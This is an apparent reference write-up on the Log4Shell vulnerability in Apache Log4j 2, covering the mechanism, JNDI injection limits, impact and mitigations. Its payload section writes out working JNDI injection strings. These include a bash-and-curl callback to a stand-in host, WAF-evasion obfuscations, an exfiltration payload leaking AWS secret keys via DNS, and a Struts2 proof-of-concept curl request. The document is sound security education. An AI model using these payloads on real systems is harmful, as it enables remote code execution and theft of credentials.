Log4Shell

CVE-2021-44228 (CVSS 10.0): Apache Log4j 2 expands a ${jndi:...} lookup found anywhere in a logged string, performing a JNDI lookup that fetches and instantiates an attacker-controlled remote Java class — unauthenticated RCE in one log line.

How it works

Log4j 2.0+ added message lookups — ${...} substitutions expanded while formatting a log message (and indirectly through parameterized messages). One supported lookup is JNDI. If any attacker-influenced value gets logged, the attacker inserts:

${jndi:ldap://attacker.com:1389/a}

Log4j performs a JNDI lookup() over LDAP (or RMI, DNS, CORBA/IIOP). The directory response can be a JNDI Reference naming a remote codebase; the JVM downloads that class and instantiates it → code execution. The sink is logging, so the payload lands wherever the app logs user input: User-Agent, X-Forwarded-For, Referer, form fields, usernames, even the URI path.

All Log4j 2.x ≤ 2.14.1 are vulnerable when message-lookup substitution is enabled. Apache Struts 2 is trivially affected (it logs OGNL-tainted request values).

JNDI injection state (why “new Java saves you” is wrong)

Log4Shell is a JNDI injection flaw in a very bad place. Remote-codebase loading was restricted over time, but exploitation did not stop:

  • RMI remote codebase disabled by default since Java 8u121; LDAP since 8u191 (CVE-2018-3149). So ≤ 8u191 = direct remote classloading.
  • After those patches, local gadgets still work: a returned JNDI Reference pointing at a locally present factory (Apache XBean BeanFactory, bundled with Tomcat) achieves execution (Veracode / rogue-jndi).
  • RMI/LDAP also deserialize the returned object, so absent a global deserialization filter, JNDI injection → Insecure Deserialization gadget chains.
  • Bottom line: patch Log4j (≥ 2.17.x) or remove the JNDI lookup — do not rely on a modern JRE.

Techniques / payloads

  • RCE: ${jndi:ldap://<host>:1389/x} serving a Reference → class with a static initializer running {"/bin/bash","-c","uname -a | curl -d @- http://<host>"}.
  • Blind confirmation: ${jndi:dns://<collab>/x} — a DNS hit proves reachability even when LDAP is filtered (see Out-of-Band Detection).
  • WAF evasion via nested lookups: ${${lower:j}ndi:...}, ${${::-j}${::-n}${::-d}${::-i}:...}, ${jndi:${lower:l}${lower:d}ap://...}.
  • Exfil without RCE: ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.<collab>/a} leaks env vars through the DNS/LDAP hostname.
  • PoC (Rapid7, Struts2 Showcase): curl http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0.0.1:1099/ylbtsl}'.

Impact & aftermath

Broad, opportunistic mass exploitation began within hours of the Dec 10 2021 disclosure — scanning every header, coin miners and ransomware following. The scale came from Log4j being a transitive dependency buried in countless products, driving a long tail of downstream advisories (a supply-chain reckoning).

Defenses

  • Upgrade to Log4j 2.17.1+ (2.15 and 2.16 had follow-on CVEs). If you can’t: remove JndiLookup.class from the classpath, or set log4j2.formatMsgNoLookups=true (incomplete on some paths).
  • Set com.sun.jndi.ldap.object.trustURLCodebase=false / rmi...=false; apply a JVM deserialization filter.
  • Egress-filter outbound LDAP/RMI/DNS from app servers — a Log4Shell callback is also an SSRF-style outbound request.

Sources